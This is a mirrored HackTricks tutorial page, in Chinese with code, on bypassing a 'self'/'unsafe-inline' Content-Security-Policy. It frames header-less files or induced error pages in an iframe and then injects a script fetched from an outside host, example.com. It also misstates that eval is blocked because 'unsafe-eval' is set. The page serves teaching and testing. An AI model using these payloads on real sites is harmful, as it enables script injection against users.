mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
80 lines
4.3 KiB
Markdown
80 lines
4.3 KiB
Markdown
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||
|
||
支持HackTricks的其他方式：
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
|
||
A configuration such as:
|
||
```
|
||
Content-Security-Policy: default-src 'self' 'unsafe-inline';
|
||
```
|
||
禁止使用任何以字符串形式传输并执行代码的函数。例如：`eval, setTimeout, setInterval`都将被阻止，因为设置了`unsafe-eval`
|
||
|
||
任何来自外部来源的内容也会被阻止，包括图像、CSS、WebSockets，尤其是JS
|
||
|
||
### 通过文本和图像
|
||
|
||
观察到现代浏览器将图像和文本转换为HTML以增强其显示效果（例如，设置背景、居中等）。因此，如果通过`iframe`打开图像或文本文件，例如`favicon.ico`或`robots.txt`，它将被呈现为HTML。值得注意的是，这些页面通常缺少CSP标头，可能不包括X-Frame-Options，从而使得可以从中执行任意JavaScript：
|
||
```javascript
|
||
frame=document.createElement("iframe");
|
||
frame.src="/css/bootstrap.min.css";
|
||
document.body.appendChild(frame);
|
||
script=document.createElement('script');
|
||
script.src='//example.com/csp.js';
|
||
window.frames[0].document.head.appendChild(script);
|
||
```
|
||
### 通过错误
|
||
|
||
同样，错误响应，如文本文件或图像，通常不带有CSP标头，可能会省略X-Frame-Options。可以诱发错误加载到iframe中，从而实现以下操作：
|
||
```javascript
|
||
// Inducing an nginx error
|
||
frame=document.createElement("iframe");
|
||
frame.src="/%2e%2e%2f";
|
||
document.body.appendChild(frame);
|
||
|
||
// Triggering an error with a long URL
|
||
frame=document.createElement("iframe");
|
||
frame.src="/"+"A".repeat(20000);
|
||
document.body.appendChild(frame);
|
||
|
||
// Generating an error via extensive cookies
|
||
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
|
||
frame=document.createElement("iframe");
|
||
frame.src="/";
|
||
document.body.appendChild(frame);
|
||
// Removal of cookies is crucial post-execution
|
||
for(var i=0;i<5;i++){document.cookie=i+"="}
|
||
```
|
||
触发任何提到的场景后，可以通过以下方式在 iframe 中实现 JavaScript 执行：
|
||
```javascript
|
||
script=document.createElement('script');
|
||
script.src='//example.com/csp.js';
|
||
window.frames[0].document.head.appendChild(script);
|
||
```
|
||
## 参考资料
|
||
|
||
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式：
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|